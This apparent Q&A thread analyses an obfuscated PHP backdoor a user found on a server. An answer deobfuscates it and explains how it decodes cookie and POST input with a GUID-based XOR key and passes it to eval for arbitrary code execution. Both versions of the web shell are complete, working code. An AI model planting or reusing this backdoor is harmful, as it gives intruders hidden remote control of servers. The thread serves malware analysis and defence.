I need to decode this suspicious code and explain what it is doing?

Question

    $llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
    $spvgazs = Array();
    $spvgazs[] = $llkas[10].$llkas[15];
    $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$llkas[5].$llkas[19].$llkas[0].$llkas[25].$llkas[20].$llkas[14].$llkas[16].$llkas[0].$llkas[31].$llkas[24].$llkas[24].$llkas[16].$llkas[0].$llkas[19].$llkas[24].$llkas[21].$llkas[32].$llkas[0].$llkas[28].$llkas[24].$llkas[24].$llkas[21].$llkas[7].$llkas[17].$llkas[27].$llkas[27].$llkas[28].$llkas[28].$llkas[31].$llkas[35];
    $spvgazs[] = $llkas[3];
    $spvgazs[] = $llkas[20].$llkas[4].$llkas[13].$llkas[9].$llkas[1];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[12].$llkas[11].$llkas[14].$llkas[30].$llkas[14].$llkas[27].$llkas[1];
    $spvgazs[] = $llkas[14].$llkas[23].$llkas[30].$llkas[2].$llkas[4].$llkas[35].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[13].$llkas[17].$llkas[6].$llkas[1].$llkas[11];
    $spvgazs[] = $llkas[27].$llkas[11].$llkas[11].$llkas[27].$llkas[26].$llkas[12].$llkas[22].$llkas[14].$llkas[11].$llkas[34].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[2].$llkas[14].$llkas[9];
    $spvgazs[] = $llkas[30].$llkas[27].$llkas[20].$llkas[33];


    foreach ($spvgazs[7]( $_COOKIE, $_POST ) as $pxajrr => $aesghqe ){
        function lscwszf($spvgazs, $pxajrr, $hgfxl){
            return $spvgazs[6]($spvgazs[4]($pxajrr . $spvgazs[1], ($hgfxl / $spvgazs[8]($pxajrr)) + 1), 0, $hgfxl);
        }

        function rrxhm($spvgazs, $aaoyvhu){
            return @$spvgazs[9]($spvgazs[0], $aaoyvhu);
        }
        function hccqcjz($spvgazs, $aaoyvhu){$bgukyrk = $spvgazs[3]($aaoyvhu) % 3;
            if (!$bgukyrk) {eval($aaoyvhu[1]($aaoyvhu[2]));
                exit();
            }
        }

        $aesghqe = rrxhm($spvgazs, $aesghqe);
        hccqcjz($spvgazs, $spvgazs[5]($spvgazs[2], $aesghqe ^ lscwszf($spvgazs, $pxajrr, $spvgazs[8]($aesghqe))));
    }

it is not a duplicate question of How do I de-obfuscate the code? i wanted someone to explain me what this code does? and ones who keeps marking this as duplicate shud first read the answers there, that doesnt explain anything what i want as answer.

Answer 1

Your code a bit more readable:

//for external input...
foreach(array_merge($_COOKIE, $_POST) as $k => $v) { 

    //convert hex to normal text, no warning if not hex
    $v =  @pack('H*', $v);

    //do some crazy string modification which makes it possible that the direct input is not detectable as malware etc.
    //after this lines, it's real code (at least a part of it is)
    $v = $v ^ substr(str_repeat($k . '8822aa38-fce2-4992-8967-09961baa004d', (strlen($v) / strlen($k)) + 1), 0, strlen($v));

    //split the result into several lines
    $v = explode('#', $v);

    $cnt = count($v) % 3;
    if ($cnt == 0) {
        //only if the line count is a multiple of 3, eg. as safeguard to filter out input not from the attacker
        //(which is highly likely something else, after the processing before)

        //execute the function specified in line 2 with the parameter of line 3, ignore the other lines
        //line 2 can be eval too, so line 3 can be any code, which will be executed on the server.
        eval($v[1]($v[2]));
        exit();

    }
}

As said in the comments, it is malware. More specific, it is a hidden possibility for someone (human or bot) to execute any custom PHP code on your server.
Someone managed to get this on your server, and this is the easy way to come back later.